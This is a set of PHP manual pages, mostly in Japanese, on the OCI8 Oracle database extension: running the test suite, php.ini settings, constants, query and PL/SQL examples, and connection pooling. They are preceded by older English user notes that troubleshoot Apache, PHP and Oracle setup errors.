12.  Test the configuration:

    /usr/local/apache/bin/apachectl configtest

    It should return "Syntax OK"

13.  Bounce Apache:

    /usr/local/apache/bin/apachectl restart

14.  Here's a simple PHP script to test the setup.  If you don't have access to the default tables Oracle provides, change the connections/tablenames/fields to match your setup:

    <?php

    $db_conn = ocilogon("scott", "tiger");

    $cmdstr = "select ename, sal from emp";
    $parsed = ociparse($db_conn, $cmdstr);
    ociexecute($parsed);
    $nrows = ocifetchstatement($parsed, $results);
    echo "Found: $nrows results<br><br>\n";

    echo "<table border=1 cellspacing='0' width='50%'>\n";
    echo "<tr>\n";
    echo "<td><b>Name</b></td>\n";
    echo "<td><b>Salary</b></td>\n";
    echo "</tr>\n";

    for ($i = 0; $i < $nrows; $i++ ) {
          echo "<tr>\n";
          echo "<td>" . $results["ENAME"][$i] . "</td>";
          echo "<td>$ " . number_format($results["SAL"][$i], 2). "</td>";
          echo "</tr>\n";
    }

    echo "</table>\n";

    ?>
john at john-warner dot com 20-Nov-2002 04:13
In addition to the earlier posts here is a further explaination;

Problem: Regular and Remote authentication does not work using Windows 2000 + PHP and Oracle 8i, 9i.

Secondary Issue if using Oracle 9.2.0.1
     When using Oracle 9.2.0.1 the Error structure returned by Oracle is different than expected by PHP. As a result there will be no legible error message other than the following;
     Warning: _oci_open_server: in ...

Using Oracle 9.0.1.1 the error message returned is any of the following depending on your situation;

Warning: _oci_open_server: ORA-12638: Credential retrieval failed in ...
Warning: _oci_open_server: ORA-12154: TNS:could not resolve service name in ...
Warning: _oci_open_server: ORA-12505: TNS:listener could not resolve SID given in connect descriptor in ...

Resolution:
In order to get this to work properly you need to do the following;
In reference to ORA-12638: Credential retrieval failed in ...
you need to edit your sqlnet.ora file and change the
SQLNET.AUTHENTICATION_SERVICES = (NTS) to
SQLNET.AUTHENTICATION_SERVICES = (NONE)
The reason is that using NTS validation on a Windows 2000 machine essentially means Kerberos.
Using (NONE) will tell oracle not to expect kerberos "Credentials" as a means of validation. In turn it will use the oracle authentication for a database user.

In reference to ORA-12154 and ORA-12505 you need to do the following;
In your php code you are using to connect you need to copy the section in tnsnames.ora
into a variable.
For example;
<?php
putenv("ORACLE_SID=TESTDB");
//putenv("ORACLE_HOME=/oracle/ora90");
//putenv("TNS_ADMIN=/oracle/ora90/network/admin");
$username = "scott";
$passwd = "tiger";
$db="(DESCRIPTION=
           (ADDRESS_LIST=
             (ADDRESS=(PROTOCOL=TCP)
               (HOST=yourTargetMachine)(PORT=1521)
             )
           )
             (CONNECT_DATA=(SERVICE_NAME=TESTDB))
      )";
$conn = OCILogon($username,$passwd,$db);
if (!$conn)
{
    echo "Connection failed";
    echo "Error Message: [" . OCIError($conn) . "]";
    exit;
}
else
{
    echo "Connected!";
}
...
?>
I left the ORACLE_HOME and TNS_ADMIN putenv lines commented out and your need for them depends on which web server you are using. If you are using Apache, you may need both.
If you are using Microsoft IIS you may need ORACLE_HOME. Putting it in can't hurt and it appears PHP may read them if they are there but either way you should be working at this
point.

Live long and prosper.
kakukkfu at mailbox dot hu 26-Sep-2002 11:09
Better to insert needed variables into apache(!) (or your webserver - respectively) start script.

For example on UNIX systems /etc/init.d/apache would contain following lines before anything else:

#!/bin/bash

if [ -f ~oracle/.profile ]; then
        source ~oracle/.profile
fi

The ~oracle/.profile has the appropiate settings to start an Oracle database so it is always up-to-date for PHP, too. (If settings are changed, don't forget to restart your webserver.) This way you just no need to worry what to include or define for PHP.
devolver at iastate dot edu 30-May-2002 04:32
I spent several hours tracking down error ORA 24374, which would result from only *SOME* of my select statements.  This error would be caused if I made a query that would return any non-numerical value.  I am running an Apache 1.3.x webserver and PHP 4.2.1.

The fix is to add entries in your httpd.conf file that would export your environment settings.  I added these three lines and everything worked like a charm!
SetEnv ORACLE_HOME  /path/to/oracle/home
SetEnv ORA_NLS33  /path/to/oracle/home/ocommon/nls/admin/data
SetEnv NLS_LANG AMERICAN

Obviously, if your NLS_LANG is different, you should set it to whatever your NLS_LANG actually is.  Ask your friendly DB admin for this information.

Hope this helps someone who treads down the path that I just followed!

Trent
Marinne at ilovechocolate dot com 17-May-2001 05:25
One simple but useful note:check whether your TNS Listener is running! By default, it's not started automatically when an Oracle instance is started. Login as oracle then type :

lsnrctl START

After it's started, I can sucessfully run the sample code on this page! I used to got ora-12514 error before doing this.
bluei at phpworld dot org 06-Mar-2001 02:57
check your tnsnames.ora permission.

ex)
ORACLE_HOME = /home/oracle/oracle

chmod 755 /home/oracle/oracle/network/admin -R

Yahoo!!!!!! I solved it!!!
shmengie_2000 at yahoo dot com 03-Oct-2000 03:43
couple of notes about startup/shutdown on linux:  (redhat, maybe others)

export LD_PRELOAD=/usr/lib/libpthread.so

Caused the start/stop script to fail to stop the httpd process.
The LD_PRELOAD environment var caused the 'ps' command to core dump.  I went bald figuring that out.

Easiest fix I could think of was to move all the oracle/php varialble exports so they are only set in the start section of the httpd script.

Never thought setting those vars globally in the script would cause problems.  That's what I get for thinking...

One other note:  Make sure the httpd process is shutdown before Oracle.

eg:
/etc/rc.d/rc0.d/K15httpd
/etc/rc.d/rc0.d/K25Oracle

Lingering connections to oracle may cause shutdown to take forever.

gl & hf

-Joe


テスト

OCI8 のテストスイートは ext/oci8/tests にあります。 OCI8 のテストを実行すると、テストが失敗したときのログがこのディレクトリに記録されます。

PHP のテストを実行する前に、details.inc を編集して $user、$password と接続文字列 $dbase を編集します。 OCI8 のテストスイートでは SYSTEM アカウントを利用します。 テストユーザーにそれと同等の権限がなければ、いくつかのテストが失敗します。

Oracle Database Resident Connection Pooling をテストする場合は $test_drcp を true に設定し、 適切な DRCP プールサーバーに接続するための接続文字列を指定します。

details.inc を編集する以外の方法として、 次のように環境変数で設定することもできます。

    $ export PHP_OCI8_TEST_USER=system
    $ export PHP_OCI8_TEST_PASS=oracle
    $ export PHP_OCI8_TEST_DB=localhost/XE
    $ export PHP_OCI8_TEST_DRCP=FALSE
シェルによっては、これらの変数が適切に PHP のプロセスに展開されず、 この方法ではテストに失敗することもあります。

次に、Oracle データベース用の環境を適切に設定します。 PHP を Oracle データベースと同じマシンで実行している場合、以下を実行します。

    $ . /usr/local/bin/oraenv

Oracle 11gR2 XE の場合は次のようにします。

    $ . /u01/app/oracle/product/11.2.0/xe/bin/oracle_env.sh

シェルによっては、php.ini の variables_order parameter パラメータに E を設定しておかなければならないこともあります。

    variables_order = "EGPCS"

すべての PHP のテストを実行するには、次のようにします。

    $ cd your_php_src_directory
    $ make test
OCI8 のテストだけを実行する場合は、このようにします。
    $ cd your_php_src_directory
    $ make test TESTS=ext/oci8

テストが終了したら、失敗したテストを見直します。 遅いシステムで実行した場合は、run-tests.php のデフォルトのタイムアウトよりも長い時間がかかるテストも出てくるかもしれません。 その場合は、環境変数 TEST_TIMEOUT を大きめに設定します。

高速なマシンで、軽量な設定のデータベース (Oracle 10gR2 XE など) をローカルで動かしていると、いくつかのテストが ORA-12516 あるいは ORA-12520 エラーで終了することがあります。 これを避けるには、データベースのパラメータ PROCESSES を次の手順で増やします。

Oracle ソフトウェアのオーナーとして接続します。

    $ su - oracle

Oracle 用の環境を、上で説明した oracle_env.sh あるいは oraenv で設定します。

SQL*Plus を立ち上げ、 PROCESSES を増やします。

    $ sqlplus / as sysdba
    SQL> alter system set processes=100 scope=spfile

データベースを再起動します。

    SQL> startup force

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

OCI8 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
oci8.connection_class | "" | PHP_INI_ALL | PHP 5.3 以降で使用可能 (PECL OCI8 1.3)
oci8.default_prefetch | "100" | PHP_INI_SYSTEM | PHP 5.1.2 以降で使用可能 (PECL OCI8 1.1)
oci8.events | Off | PHP_INI_SYSTEM | PHP 5.3 以降で使用可能 (PECL OCI8 1.3)
oci8.max_persistent | "-1" | PHP_INI_SYSTEM | PHP 5.1.2 以降で使用可能 (PECL OCI8 1.1)
oci8.old_oci_close_semantics | Off | PHP_INI_SYSTEM | PHP 5.1.2 以降で使用可能 (PECL OCI8 1.1)
oci8.persistent_timeout | "-1" | PHP_INI_SYSTEM | PHP 5.1.2 以降で使用可能 (PECL OCI8 1.1)
oci8.ping_interval | "60" | PHP_INI_SYSTEM | PHP 5.1.2 以降で使用可能 (PECL OCI8 1.1)
oci8.privileged_connect | Off | PHP_INI_SYSTEM | PHP 5.1.2 以降で使用可能 (PECL OCI8 1.1)
oci8.statement_cache_size | "20" | PHP_INI_SYSTEM | PHP 5.1.2 以降で使用可能 (PECL OCI8 1.1)

以下に設定ディレクティブに関する 簡単な説明を示します。

oci8.connection_class string

このユーザー定義テキストは、接続プールの下位区画への Oracle データベース常駐接続プーリング (DRCP) 接続によって使用されます。 これにより、DRCP コネクションプールのサブパーティショニングが可能になり、 アプリケーションによる OCI8 持続的接続で、 前の PHP スクリプト由来のデータベース・セッションを再利用できます。 その結果、より良い拡張性が得られます。 異なる接続クラスで以前に使用された処理をプールしたデータベースをアプリケーションで使用する際に、 既定の Oracle 日付フォーマットのようなセッション設定はリセットされます。 これにより、異なるアプリケーションの間で情報を思いがけずに共有することを防ぎます。

接続する前に、 ini_set() で実行時に 値を設定できます。

DRCP を使用するには、 OCI8 は Oracle 11g (またはそれ以降の) ライブラリとリンクされ、 データベースは Oracle 11g (またはそれ以降)でなければいけません。 接続プールはデータベース内で有効にしなければいけません。 oci8.connection_class は、 同一のアプリケーションを稼動する web サーバーの全てで同じ文字列を設定しなければいけません。 そして、 OCI8 接続文字列 はプールされたサーバーを使用することを指定しなければいけません。 アプリケーションは持続的接続を使うべきです。

oci8.default_prefetch int

このオプションは、データベースからのデータに対する低レベルの 要求が作成されたときにいつでも自動的にフェッチされ、キャッシュ されるデフォルトの追加行数を設定します。 プリフェッチを無効にするには、値を 0 に 設定します。

プリフェッチ値は、 oci_fetch_array() のような関数がユーザーに返す行数を変えません。 行のプリフェッチ及びキャッシングは OCI8 の内部で取り扱われます。

その値は、ステートメント実行の前に oci_set_prefetch() でステートメントごとに設定できます。

PHP 5.3 (PECL OCI8 1.3.4) で既定値が 10 から 100 に増やされました。

PHP 5.3.2 (PECL OCI8 1.4) では、設定可能な最小値が 1 から 0 に減らされました。 これにより、プリフェッチをオフにできます。

Oracle Database 12c (またはそれ以降)では、PHP で設定したプリフェッチの値を Oracle のクライアント設定ファイル oraaccess.xml で上書きできます。 詳細は、Oracle のドキュメントを参照ください。

注意: プリフェッチをより大きくすると、メモリ使用量の増加と引き替えに パフォーマンスの改善につながります。 大量のデータを返す照会に対しては、パフォーマンスの利点は重要な意義を持てます。

oci8.events bool

On を使うと、 PHP でデータベースの Fast Application Notification (FAN) イベントが通知されます。

FAN 無しでは、データベース・インスタンスやマシン・ノードが予期せず故障した際、 PHP アプリケーションは、 TCP タイムアウトの満期になるまでデータペースのレスポンスを待って ブロックされてしまうかもしれません。 FAN イベントにより、確立したデータベース接続に影響する故障が PHP アプリケーションに素早く通知されます。 OCI8 エクステンションでは、 持続的接続キャッシュ内の利用されていない接続をクリーンアップします。

On を使う際は、 FAN イベントをポストするように データベースも構成しなければいけません。

FAN サポートは、 OCI8 が Oracle 10gR2 以降のライブラリとリンクされ、 Oracle データベース 10gR2 以降に接続する場合に利用できます。

oci8.max_persistent int

PHP プロセスあたりの持続的な OCI8 接続の最大値を指定します。 このオプションを -1 に設定することは、制限なしを意味します。

oci8.old_oci_close_semantics bool

このオプションは oci_close() の動作を制御します。有効にすると、oci_close() は何も行いません。接続はスクリプトの終了まで閉じられません。 これは後方互換性のためのみに存在しています。 この設定を有効にする必要があると判明した場合、 このオプションを有効にする代わりに、 アプリケーションで oci_close() を調整することが 強く推奨されます。

oci8.persistent_timeout int

アイドル状態の持続的接続を PHP プロセスが開いたままにする最大秒数 を指定します。 このオプションを -1 に設定すると、 PHP 処理が終了するか、または 接続が oci_close() で明示的に終了されるまで、 アイドル状態の持続的接続が保持されます。

注意: PHP では、アイドル状態のリソースの消滅は、警報ベースではありません。 PHP がスクリプト処理を終了して、リソースの最終使用タイムスタンプをチェックする際に発生します。 そのため、 (OCI8 関係に限らず) PHP 処理内で何らかの活動がある場合にのみ、 アイドル状態の接続が閉じられるというパラドックスがあります。 PHP のプロセスが複数ある場合は、 それぞれを個別にアクティブにしないと アイドル状態のリソースを消すことができません。 Oracle 11g でデータベース常駐接続プーリング (DRCP) が導入されたことにより、 oci8.max_persistent や oci8.persistent_timeout が以前に克服しようとしたメモリ及びリソースの問題が解決されます。

注意: PHP 5.3 (PECL OCI8 1.3) では、持続的接続は oci_close() で閉じることができます。

oci8.ping_interval int

oci_pconnect() の間、ping を発行するまでに経過させる秒数を指定します。 ping はデータベース接続が有効か確認します。 0 に設定した場合、持続的接続は oci_pconnect() が 呼び出される度に ping を発行します。 ping を完全に無効にするためには、このオプションを -1 に設定します。

注意: ping を無効にすることにより oci_pconnect() は最高の効率で処理できますが、ネットワークの脱落や PHP が接続した後に Oracle データベースがダウンした場合、 その後のスクリプトで接続が使われるまで 利用できない接続を PHP は検出できないでしょう。 詳細な情報は oci_pconnect() を参照ください。

oci8.privileged_connect bool

このオプションにより特権のある外部の信用 (OCI_SYSOPER, OCI_SYSDBA) を利用して接続できます。

注意: これを On に設定することにより、 適切な OS ユーザー権限で稼動している Web サーバー上のスクリプトで データベースのパスワードを必要とせずに、 特権を持つデータベース・ユーザーとして接続できます。 これはセキュリティーのリスクになりえます。

oci8.statement_cache_size int

このオプションはステートメントキャッシュを有効にします。 また、キャッシュするステートメントの数を指定します。 ステートメントキャッシュを無効にする場合、このオプションを 0 に設定してください。

ステートメントキャッシングにより、 ステートメント・テキストをデータベースに渡したり、 ステートメントに関するあらゆるメタデータを PHP に戻したりする必要性がなくなります。 これにより、接続の有効期間中、ステートメントを再利用するアプリケーションで、 全体的なシステム・パフォーマンスを大幅に向上させられます。 一部の特別なデータベース "カーソル" では、 ステートメントが再利用されるであろうという仮定の下に、 開いたまま保たれるかもしれません。

アプリケーションで使用されるステートメントのワーキングセットのサイズに この値を設定します。小さすぎる値を設定すると、 それらが再利用される前にキャッシュからステートメントがフラッシュされる結果になります。

このオプションは、持続的接続の利用の多くの場合に役立ちます。

Oracle Database 12c (またはそれ以降) では、 この値はOracle クライアントの oraaccess.xml で自動的に設定されます。 詳細は、Oracle のドキュメントを参照ください。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

OCI8 関数およびメソッドのモード
定数 | 説明
OCI_ASSOC | oci_fetch_all() と oci_fetch_array() で結果を連想配列で取得するために使います。
OCI_BOTH | oci_fetch_all() と oci_fetch_array() で結果を配列と連想配列の両方で取得するために使います。
OCI_COMMIT_ON_SUCCESS | oci_execute() のステートメント実行モード。 ステートメントが成功したときに、自動的に変更をコミットします。
OCI_CRED_EXT | oci_connect() と組み合わせ、 Oracles の External 認証あるいは OS 認証を利用します。 PHP 5.3 および PECL OCI8 1.3.4 で追加されました。
OCI_DEFAULT | OCI_NO_AUTO_COMMIT を参照ください。
OCI_DESCRIBE_ONLY | oci_execute() のステートメント実行モード。 このモードをは、カラム名などのメタデータは欲しいけれど クエリから行を取得したくないという場合に使います。
OCI_EXACT_FETCH | 現在はサポートされていません。文の取得モードを指定します。 アプリケーションがあらかじめ何行取得すればよいか分かっている場合に使います。 このモードは Oracle リリース 8 以降ではプリフェッチ機能をオフにします。 カーソルは希望する行を取得した後キャンセルされ、 サーバー側のリソースの使用は軽減されます。
OCI_FETCHSTATEMENT_BY_COLUMN | oci_fetch_all() のデフォルトのモード。
OCI_FETCHSTATEMENT_BY_ROW | oci_fetch_all() でのもうひとつのモード。
OCI_LOB_BUFFER_FREE | 使用されたバッファを解放するために OCILob::flush と併用します。
OCI_NO_AUTO_COMMIT | oci_execute() のステートメント実行モード。 このモードでは、トランザクションの自動コミットは行われません。 コードの可読性を考慮して、今までの OCI_DEFAULT ではなくこちらを使うようにしましょう。 PHP 5.3.2 (PECL OCI8 1.4) 以降で使用可能です。
OCI_NUM | oci_fetch_all() と oci_fetch_array() で結果を配列で取得するために使います。
OCI_RETURN_LOBS | oci_fetch_array() でディスクリプタの代わりに LOB の値を取得するために使います。
OCI_RETURN_NULLS | oci_fetch_array() でフィールド値が null の場合に空の配列要素を取得するために使います。
OCI_SEEK_CUR | OCILob::seek でシーク位置を設定するために使います。
OCI_SEEK_END | OCILob::seek でシーク位置を設定するために使います。
OCI_SEEK_SET | OCILob::seek でシーク位置を設定するために使います。
OCI_SYSDATE | サポートされなくなりました。
OCI_SYSDBA | oci_connect() で、SYSDBA として接続するために使います。 php.ini 設定 oci8.privileged_connect を有効にしないと使えません。
OCI_SYSOPER | oci_connect() で、SYSOPER として接続するために使います。 php.ini 設定 oci8.privileged_connect を有効にしないと使えません。
OCI_TEMP_BLOB | 一時的な BLOB が生成されるよう明示的に指定するため OCILob::writeTemporary と併用します。
OCI_TEMP_CLOB | 一時的な CLOB が生成されるよう明示的に指定するため OCILob::writeTemporary と併用します。
OCI8 バインドおよび定義の型
定数 | 説明
OCI_B_BFILE | oci_bind_by_name() で BFILE をバインドする場合に使います。
OCI_B_BIN | oci_bind_by_name() で RAW 値をバインドする際に使います。
OCI_B_BLOB | oci_bind_by_name() で BLOB をバインドする場合に使います。
OCI_B_BOL | oci_bind_by_name() で PL/SQL の BOOLEAN 変数をバインドする場合に使います。
OCI_B_CFILEE | oci_bind_by_name() で CFILE をバインドする場合に使います。
OCI_B_CLOB | oci_bind_by_name() で CLOB をバインドする場合に使います。
OCI_B_CURSOR | oci_bind_by_name() で oci_new_descriptor() によってあらかじめ割り当てられたカーソルをバインドする場合に使います。
OCI_B_INT | oci_bind_array_by_name() で INTEGER の配列をバインドする場合に使います。
OCI_B_NTY | oci_bind_by_name() で 名前付けされたデータ型をバインドする場合に使います。 注意: PHP < 5.0 では OCI_B_SQLT_NTY と呼ばれます。
OCI_B_NUM | oci_bind_array_by_name() で NUMBER の配列をバインドする場合に使います。
OCI_B_ROWID | oci_bind_by_name() で ROWID をバインドする場合に使います。
SQLT_AFC | oci_bind_array_by_name() で CHAR の配列をバインドする場合に使います。
SQLT_AVC | oci_bind_array_by_name() で CHARZ の配列をバインドする場合に使います。
SQLT_BDOUBLE | サポートされていません。
SQLT_BFILEE | OCI_B_BFILE と等価です。
SQLT_BFLOAT | サポートされていません。
SQLT_BIN | OCI_B_BIN と等価です。
SQLT_BLOB | OCI_B_BLOB と等価です。
SQLT_BOL | OCI_B_BOL と等価です。
SQLT_CFILEE | OCI_B_CFILEE と等価です。
SQLT_CHR | oci_bind_array_by_name() で VARCHAR2 の配列をバインドする場合に使います。 oci_bind_by_name() でも使います。
SQLT_CLOB | OCI_B_CLOB と等価です。
SQLT_FLT | oci_bind_array_by_name() で FLOAT の配列をバインドする場合に使います。
SQLT_INT | OCI_B_INT と等価です。
SQLT_LBI | oci_bind_by_name() で LONG RAW 値をバインドする際に使います。
SQLT_LNG | oci_bind_by_name() で LONG 値をバインドする際に使います。
SQLT_LVC | oci_bind_array_by_name() で LONG VARCHAR の配列をバインドする場合に使います。
SQLT_NTY | OCI_B_NTY と等価です。
SQLT_NUM | OCI_B_NUM と等価です。
SQLT_ODT | oci_bind_array_by_name() で LONG の配列をバインドする場合に使います。
SQLT_RDD | OCI_B_ROWID と等価です。
SQLT_RSET | OCI_B_CURSOR と等価です。
SQLT_STR | oci_bind_array_by_name() で STRING の配列をバインドする場合に使います。
SQLT_UIN | サポートされていません。
SQLT_VCS | oci_bind_array_by_name() で VARCHAR の配列をバインドする際に使います。
OCI8 ディスクリプタの型
定数 | 説明
OCI_DTYPE_FILE | このフラグは oci_new_descriptor() に新しい FILE ディスクリプタを初期化するように伝えます。
OCI_DTYPE_LOB | このフラグは oci_new_descriptor() に新しい LOB ディスクリプタを初期化するように伝えます。
OCI_DTYPE_ROWID | このフラグは oci_new_descriptor() に新しい ROWID ディスクリプタを初期化するように伝えます。
OCI_D_FILE | OCI_DTYPE_FILE と等価です。
OCI_D_LOB | OCI_DTYPE_LOB と等価です。
OCI_D_ROWID | OCI_DTYPE_ROWID と等価です。

User Contributed Notes

There are no user contributed notes for this page.


例

これらの例では HR として接続しています。 これは、Oracle データベースに付属するサンプルのスキーマ "Human Resources" 用のユーザーです。このユーザーを使うには、 ユーザーのロックを解除してパスワードをリセットしなければなりません。

このサンプルでは、ローカルマシン上にある XE データベースに接続しています。それぞれの環境にあわせて 接続文字列を変更してください。

例1 基本的なクエリ

ここでは、クエリの結果を表示させます。OCI8 のステートメントは 準備-実行-フェッチ という手順をとります。

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// 文を準備します
$stid = oci_parse($conn, 'SELECT * FROM departments');
if (!$stid) {
    $e = oci_error($conn);
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// クエリを実行します
$r = oci_execute($stid);
if (!$r) {
    $e = oci_error($stid);
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// クエリの結果を取得します
print "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    print "<tr>\n";
    foreach ($row as $item) {
        print "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    print "</tr>\n";
}
print "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

例2 バインド変数を用いた挿入

バインド変数を使うと、実行コンテキストをキャッシュして再利用できるので パフォーマンスが向上します。また、バインド変数を使うと SQL インジェクション対策にもなって安全性が向上します。

<?php

// 実行前に表を作成します
//   CREATE TABLE MYTABLE (mid NUMBER, myd VARCHAR2(20));

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO MYTABLE (mid, myd) VALUES(:myid, :mydata)');

$id = 60;
$data = 'Some data';

oci_bind_by_name($stid, ':myid', $id);
oci_bind_by_name($stid, ':mydata', $data);

$r = oci_execute($stid);  // 実行してコミットします

if ($r) {
    print "One row inserted";
}

oci_free_statement($stid);
oci_close($conn);

?>

例3 クエリの WHERE 句でのバインド

単一のスカラー値のバインドの例です。

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE department_id = :didbv ORDER BY last_name';
$stid = oci_parse($conn, $sql);
$didbv = 60;
oci_bind_by_name($stid, ':didbv', $didbv);
oci_execute($stid);
while (($row = oci_fetch_array($stid, OCI_ASSOC)) != false) {
    echo $row['LAST_NAME'] ."<br>\n";
}

// 出力は
//    Austin
//    Ernst
//    Hunold
//    Lorentz
//    Pataballa

oci_free_statement($stid);
oci_close($conn);

?>

例4 CLOB カラムにデータを挿入する

巨大なデータに対しては、バイナリラージオブジェクト (BLOB) あるいはキャラクタラージオブジェクト (CLOB) 型を使います。 この例では CLOB を使います。

<?php

// 実行前に表を作成します
//     CREATE TABLE MYTABLE (mykey NUMBER, myclob CLOB);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$mykey = 12343;  // この例で用いる任意のキー

$sql = "INSERT INTO mytable (mykey, myclob)
        VALUES (:mykey, EMPTY_CLOB())
        RETURNING myclob INTO :myclob";

$stid = oci_parse($conn, $sql);
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_bind_by_name($stid, ":myclob", $clob, -1, OCI_B_CLOB);
oci_execute($stid, OCI_NO_AUTO_COMMIT); // PHP <= 5.3.1 では OCI_DEFAULT を使います
$clob->save("A very long string");

oci_commit($conn);

// CLOB データを取得します

$query = 'SELECT myclob FROM mytable WHERE mykey = :mykey';

$stid = oci_parse ($conn, $query);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_execute($stid);

print '<table border="1">';
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_LOBS)) {
    print '<tr><td>'.$row['MYCLOB'].'</td></tr>';
    // ループ内で、大きなサイズの変数を解放してから次のフェッチに進めます。
    // これで、PHP のピークメモリ利用量を抑えます。
    unset($row);
}
print '</table>';

?>

例5 PL/SQL ストアドファンクションの使用

返り値に変数をバインドしなければなりません。 オプションで PL/SQL 関数の引数がある場合はそこにも変数をバインドしなければなりません。

<?php

/*
  PHP プログラムを実行する前に、ストアドファンクションを
  SQL*Plus あるいは SQL Developer で作成します

  CREATE OR REPLACE FUNCTION myfunc(p IN NUMBER) RETURN NUMBER AS
  BEGIN
      RETURN p * 3;
  END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p = 8;

$stid = oci_parse($conn, 'begin :r := myfunc(:p); end;');
oci_bind_by_name($stid, ':p', $p);
oci_bind_by_name($stid, ':r', $r, 40);

oci_execute($stid);

print "$r\n";   // 24 と表示します

oci_free_statement($stid);
oci_close($conn);

?>

例6 PL/SQL ストアドプロシージャの使用

ストアドプロシージャでは、すべての引数に変数をバインドしなければなりません。

<?php

/*
  PHP プログラムを実行する前に、ストアドプロシージャを
  SQL*Plus あるいは SQL Developer で作成します

  CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
  BEGIN
      p2 := p1 * 2;
  END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p1 = 8;

$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n";   // 16 と表示します

oci_free_statement($stid);
oci_close($conn);

?>

例7 REF CURSOR を返す PL/SQL ファンクションのコール

クエリが返す値が REF CURSOR となり、そこから値を取得することができます。

<?php
/*
  このような PL/SQL ストアドファンクションを作成します

  CREATE OR REPLACE FUNCTION myfunc(p1 IN NUMBER) RETURN SYS_REFCURSOR AS
      rc SYS_REFCURSOR;
  BEGIN
      OPEN rc FOR SELECT city FROM locations WHERE ROWNUM < p1;
      RETURN rc;
  END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT myfunc(5) AS mfrc FROM dual');
oci_execute($stid);

echo "<table border='1'>\n";
while (($row = oci_fetch_array($stid, OCI_ASSOC))) {
    echo "<tr>\n";
    $rc = $row['MFRC'];
    oci_execute($rc);  // returned column value from the query is a ref cursor
    while (($rc_row = oci_fetch_array($rc, OCI_ASSOC))) {
        echo "    <td>" . $rc_row['CITY'] . "</td>\n";
    }
    oci_free_statement($rc);
    echo "</tr>\n";
}
echo "</table>\n";

// 出力は
//   Beijing
//   Bern
//   Bombay
//   Geneva

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

alvaro at demogracia dot com 17-Jul-2015 08:48
To run a procedure you can use "CALL", e.g.:

    CALL DBMS_MVIEW.REFRESH('SALES_MV');


OCI8 接続のハンドリングおよびプーリング

接続関数

oci8 拡張モジュールは Oracle に接続するための 3 つの異なる関数を提供しています。標準の接続関数は oci_connect() です。これは Oracle データベースへの接続を作成し、 それ以降のデータベースで使うリソースを返します。

Oracle サーバーへの接続は、完了まで要する時間という点から見ると、 かなりコストのかかる操作です。oci_pconnect() 関数は、 異なるスクリプトリクエスト間で接続の再利用が可能な 持続的キャッシュを使用します。 これは、PHP プロセス (もしくは Apache の子プロセス) 毎の接続に関するオーバーヘッドを一度のみ負うということを意味しています。

もしアプリケーションが信用された異なる Web ユーザー毎に Oracle に接続する場合、oci_pconnect() による持続的キャッシュは、 同時ユーザー数の増加と共に有効ではなくなるでしょう。 これは、多くのアイドル状態の接続が維持されることが原因で、 Oracle サーバー全体のパフォーマンスに不利な影響を与え始めるためです。 もしアプリケーションがこの方法で構成されている場合、 oci8.max_persistent や oci8.persistent_timeout (持続的接続のキャッシュサイズや生存期間の制御が可能になります) を使用してアプリケーションをチューニングする、あるいは Oracle Database Resident Connection Pooling を使う (Oracle Database 11g 以降の場合)、もしくは oci_connect() を使用することが推奨されます。

oci_connect() と oci_pconnect() の両者とも接続キャッシュを使用します。もし、同一パラメータと共に oci_connect() を複数回コールする場合、 2 番目以降は既存の接続ハンドルを返します。oci_connect() によって使用されるキャッシュは、スクリプト実行終了時、 もしくは明示的に接続ハンドルを閉じた時にクリアされます。 oci_pconnect() も同様の動作をしますが、 キャッシュは独立して維持され、リクエスト間で残存します。

このキャッシュ機能は忘れてはならないほど重要です。 それは、2 つのハンドルがトランザクション的に独立していない (実際には同じ接続なので、どのような種類の独立もありません) ためです。もしアプリケーションが 2 つの別々でトランザクション的に独立した接続を必要とする場合、 oci_new_connect() を使用すべきです。

PHP プロセス終了時に oci_pconnect() キャッシュは消去され、 データベース接続は全て閉じられます。 そのため、持続的接続を効果的に使用するには、 PHP は Apache のモジュールであるか、または FPM によって使用されるか、 または同様のものでなければいけません。 PHP が CGI によって、またはコマンドラインを介して使用される場合、 持続的接続には oci_connect() 以上に全く利益がありません。

